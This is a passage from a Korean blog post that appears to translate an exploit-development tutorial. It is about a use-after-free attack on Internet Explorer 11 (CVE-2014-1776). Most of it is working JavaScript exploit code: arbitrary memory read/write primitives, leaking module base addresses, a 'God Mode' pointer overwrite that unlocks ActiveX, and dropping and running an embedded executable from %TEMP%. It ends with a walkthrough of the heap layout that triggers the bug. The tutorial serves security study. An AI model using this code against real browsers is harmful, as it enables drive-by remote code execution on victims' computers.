means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } function get_addr(obj) { a[idx+2][0] = obj; return read(base_addr + 0x10000); } // Here's the beginning of the element div: // +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480 // v // 6cc55480 05354280 00000000 0536cfb0 // // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers: // X = [div_elem+0ch] // X = [X+8] // obj_ptr = [X+10h] // vftptr = [obj_ptr] // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04. var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x5480; mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04; var old1 = read(mshtml+0xebcd98+0x10); var old2 = read(mshtml+0xebcd98+0x14); function GodModeOn() { write(mshtml+0xebcd98+0x10, jscript9+0x155e19); write(mshtml+0xebcd98+0x14, jscript9+0x155d7d); } function GodModeOff() { write(mshtml+0xebcd98+0x10, old1); write(mshtml+0xebcd98+0x14, old2); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); if (read(string_addr) != 0) { // only when there is a string to overwrite write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' } try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } // decoder // [https://gist.github.com/1020396] by [https://github.com/atk] function atob(input) { var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var str = String(input).replace(/=+$/, ''); if (str.length % 4 == 1) { throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded."); } for ( // initialize result and counters var bc = 0, bs, buffer, idx = 0, output = ''; // get next character buffer = str.charAt(idx++); // character found in table? initialize bit storage and add its ascii value; ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, // and if not first of each 4 characters, // convert the first 8 bits to one ascii character bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0 ) { // try to find character in table (0-63, not found => -1) buffer = chars.indexOf(buffer); } return output; } function decode(b64Data) { var data = atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } GodModeOn(); var shell = new ActiveXObject("WScript.shell"); GodModeOff(); fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); // alert("Done"); } </script> </head> <body><v:group id="vml" style="width:500pt;"><div></div></group></body> </html> | cs |
여기서도 runcalc는 생략했고 전체 코드는 아래 링크를 통해 다운받을 수 있습니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code8.zip
이 코드는 잘 동작하지만 때로는 충돌이 발생합니다만 유저가 충돌 알림창을 닫게 되면 페이지가 다시 불려져 익스플로잇이 다시 실행되기 때문에 문제가 되지 않습니다.
새로운 코드에 미묘한 부분들이 있는데 중요한 부분에 대해 토의를 해보도록 하겠습니다. 먼저 trigger() 부터 보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | function trigger() { var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" var elem = document.createElement("div"); elem.className = getPattern([ 0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0] 0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1] 0x198, -1 // bit 12 set ], 0x428); } head.firstChild.nextSibling.disabled = head } | cs |
getPattern 함수는 아래와 같은 형태의 배열과 패턴의 크기를 바이트로 가져갑니다.
[offset_1, value_1,
offset_2, value_2,
offset_3, value_3,
...]
반환된 패턴은 특정 오프셋 offset_1, offset_2의 value_1, value_2은 지정된 크기의 문자열입니다.
위 주석들이 충분히 명확했길 바랍니다. 예를들어, 아래와 같이 있다고 고려해보면,
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
이는 magic_addr 배열의 첫 번째 요소가 b[0]일 때, X+0xc가 b[0]를 가리킴을 의미합니다.
좀더 이해를 돕기 위해 아래 구성을 고려해보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | . . . elem.className = getPattern([ 0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0] 0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1] 0x198, -1 // bit 12 set ], 0x428); . . . // The object is 0x428 bytes. // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b: // X = [ptr+0A4h] ==> Y = [X+0ch] ==> // [Y+208h] is 0 // [Y+630h+248h] = [Y+878h] val to inc! <====== // [Y+630h+380h] = [Y+9b0h] has bit 16 set // [Y+630h+3f4h] = [Y+0a24h] has bit 7 set // [Y+1044h] is 0 // U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch], // [W+0ah] has bit 1 set & bit 4 unset // [W+44h] has bit 7 set // [W+5ch] is writable // [ptr+198h] has bit 12 set window.onload = function() { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); var idx; b = a[i]; b[0] = magic_addr + 0x1b - 0x878; // Y idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h b[idx] = -1; b[idx+1] = -1; idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h b[idx] = -1; b[idx+1] = -1; idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h b[idx] = 0; b[idx+1] = 0; // The following address would be negative so we add 0x10000 to translate the address // from the previous copy of the array to this one. idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h b[idx] = 0; b[idx+1] = 0; b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2] b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*) b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3] b[3] = 2; // [W+0ah] idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h b[idx] = -1; b[idx+1] = -1; } | cs |
구성 중 아래 부분을 보시면
1 2 3 | // X = [ptr+0A4h] ==> Y = [X+0ch] ==> // [Y+208h] is 0 // [Y+630h+248h] = [Y+878h] val to inc! <====== | cs |
보시다시피,
X = [ptr+0A4h] = magic_addr + 0x20 - 0xc
이기 때문에, X+0xc는 b[0]를 가리킵니다.
그러면 우리는 아래를 얻을 수 있는데,
b[0] = magic_addr + 0x1b - 0x878; // Y
이 의미는 다음과 같이 됩니다.
Y = [X+0ch] = magic_addr + 0x1b - 0x878
이는 [Y+878h]가 증가를 위한 값 임을 알 수 있습니다. Y+0x878은 magic_addr+0x1b 로써, 이는 magic_addr (0xc000000)에 있는 배열 크기의 최상위 바이트를 가리킵니다. magic_addr+0x1b에서 dword를 증가시키는데 이는 같은 주소의 바이트를 증가 시키는 영향이 있습니다.
아래 구성 역시 [Y+208h]를 0으로 만듭니다. 이는 아래 줄을 통해 가능합니다.
1 2 | idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h b[idx] = 0; b[idx+1] = 0; | cs |
여기에 2가지 중요한 부분이 있습니다.
1. Y = b[0] = magic_addr + 0x1b - 0x878 이기 때문에 4의 배수가 아닙니다. 이때문에, Y + 208h 역시 4의 배수가 아니게 됩니다. 잘못 정렬된 dword [Y+208h]을 수정하기 위해, dword [Y+206h]과 dword [Y+208h]을 b[idx]와 b[idx+1]로 일치시켜야 합니다. 이 때문에 Math.floor를 사용하는 것 입니다.
2. b[0] + 0x208 - (magic_addr + 0x20)은 음수 입니다. Y+878h는 magic_addr 배열의 해더를 가리키고 있기 때문에, Y+9b0h와 Y+a24h는 같은 배열을 가리키지만 Y+208h는 이전 배열을 가리킵니다. 모든 배열은 동일한 내용을 갖고, Y+208h+10000h주소에 값을 쓰는 것에 의해 배열들은 각각 0x10000 바이트씩 떨어져 있기 때문에 결국, Y+208h 주소의 메모리에 값을 쓰게 됩니다.
결론을 내리자면, tigger는 오직 한 번만 호출됩니다. 단일 증가로도 충분한 이유는 magic_addr에 있는 배열의 끝에 있는 몇 바이트만 쓰면 되기 때문입니다.
'Projects > Exploit Development' 카테고리의 다른 글
[파이썬 익스 개발] 퍼징 로그부터 익스 개발 까지 (1) | 2018.02.16 |
---|---|
[익스플로잇 개발] 18. IE 11 (Part 1) (1) | 2016.07.22 |
[익스플로잇 개발] 17. IE 10 (Use-After-Free bug) (0) | 2016.07.22 |
[익스플로잇 개발] 16. IE 10 (God Mode 2) (0) | 2016.07.22 |
[익스플로잇 개발] 15. IE 10 (God Mode 1) (0) | 2016.07.22 |
- Total
- Today
- Yesterday
- School CTF Write up
- expdev 번역
- 데이터 마이닝
- IE 10 God Mode
- IE 11 UAF
- IE 10 Exploit Development
- TenDollar
- 2015 School CTF
- heap spraying
- IE UAF
- Mona 2
- WinDbg
- Windows Exploit Development
- TenDollar CTF
- 2014 SU CTF Write UP
- shellcode writing
- UAF
- IE 11 exploit development
- 힙 스프레잉
- IE 10 익스플로잇
- School CTF Writeup
- shellcode
- CTF Write up
- 윈도우즈 익스플로잇 개발
- data mining
- 쉘 코드 작성
- Use after free
- 쉘 코드
- IE 11 exploit
- IE 10 리버싱
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |